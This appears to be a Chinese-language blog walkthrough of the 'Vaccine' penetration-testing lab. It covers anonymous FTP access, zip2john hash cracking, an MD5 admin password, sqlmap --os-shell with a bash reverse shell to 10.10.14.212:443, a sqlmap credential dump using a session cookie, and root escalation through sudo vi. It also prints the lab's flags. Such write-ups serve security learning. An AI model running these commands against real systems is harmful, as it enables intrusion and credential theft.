渗透测试学习day7


靶机:Vaccine

Task1

问题:除了SSH和HTTP,这个盒子上还托管了什么服务?

ftp

nmap扫一下
在这里插入图片描述

Task2

问题:此服务可以配置为允许使用特定用户名的任何密码登录。那个用户名是什么?

anonymous

直接空密码登录
在这里插入图片描述

Task3

问题:通过此服务下载的文件的名称是什么?

backup.zip

在这里插入图片描述

Task4

问题:John the Ripper工具集附带了什么脚本,并以允许破解尝试的格式从受密码保护的zip档案中生成哈希?

zip2john

解压zip时发现有加密,运用工具破解加密的zip中生成哈希

zip2john backup.zip > hashs

在这里插入图片描述
再拿字典跑一下得到密码
在这里插入图片描述

Task5

问题:网站上管理员用户的密码是什么?

qwerty789

拿到密码解压zip后,在index.php找到MD5加密的
在这里插入图片描述解密一下即可
在这里插入图片描述

参考前一关

Task6

问题:什么选项可以传递给sqlmap以尝试通过sql注入来执行命令?

--os-shell

7-9解题过程

我们使用--os-shell进行反弹shell

bash -c "bash -i >& /dev/tcp/10.10.14.212/443 0>&1"

先开启nc监听,然后跑sqlmap输入命令
在这里插入图片描述然后cat /var/www/html/dashboard.php找到密码
在这里插入图片描述

当然密码可以用sqlmap爆破出来

sqlmap -u "http://10.129.237.178/dashboard.php?search=1" --cookie "PHPSESSID=ag8on0evhpqu5cgtsr3dbrfget" --users --password --level=3

在这里插入图片描述然后去掉md5,解密一下得到
在这里插入图片描述
知道密码后我们直接ssh连接
在这里插入图片描述

然后我们想查看下权限

sudo -l

利用刚刚得到的密码登录,发现能用的有一个配置文件
在这里插入图片描述

那么我们去搜一下vi的提权命令
在这里插入图片描述这里可以用(b)的,通过修改配置文件pg_hba.conf写入shell

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

然后进入vim编辑器,输入a添加下面命令

:set shell=/bin/sh

然后esc,输入:wq
退出后再次进入配置的文件,直接输入:,继续输入shell即可
我们可以发现用户变为root
在这里插入图片描述先得到user.txt
在这里插入图片描述

即可访问root.txt

在这里插入图片描述

Task7

问题:postgres用户可以使用sudo作为root用户运行什么程序?

vi

Submit user flag

ec9b13ca4d6229cd5cc1e09980965bf7

Submit root flag

dd6e058e814260bc70e9bbdef2715849

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-10 05:44:02       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-10 05:44:02       106 阅读
  3. 在Django里面运行非项目文件

    2023-12-10 05:44:02       87 阅读
  4. Python语言-面向对象

    2023-12-10 05:44:02       96 阅读

热门阅读

  1. xtu oj 1233 Cycle Matrix

    2023-12-10 05:44:02       58 阅读
  2. 在 MySQL 中创建用户和分配权限

    2023-12-10 05:44:02       50 阅读
  3. 力扣:197. 上升的温度(Python3)

    2023-12-10 05:44:02       61 阅读
  4. 网络规划的组成

    2023-12-10 05:44:02       51 阅读
  5. [LeetCode] 15. 三数之和

    2023-12-10 05:44:02       63 阅读
  6. 如何安装和使用three.js

    2023-12-10 05:44:02       51 阅读
  7. Git:版本控制的艺术与实践

    2023-12-10 05:44:02       57 阅读
  8. RUST博客帖子编辑示例

    2023-12-10 05:44:02       50 阅读
  9. MySQL库与表的备份

    2023-12-10 05:44:02       57 阅读
  10. HJ94 记票统计

    2023-12-10 05:44:02       69 阅读
  11. nvue页面用法uniapp

    2023-12-10 05:44:02       61 阅读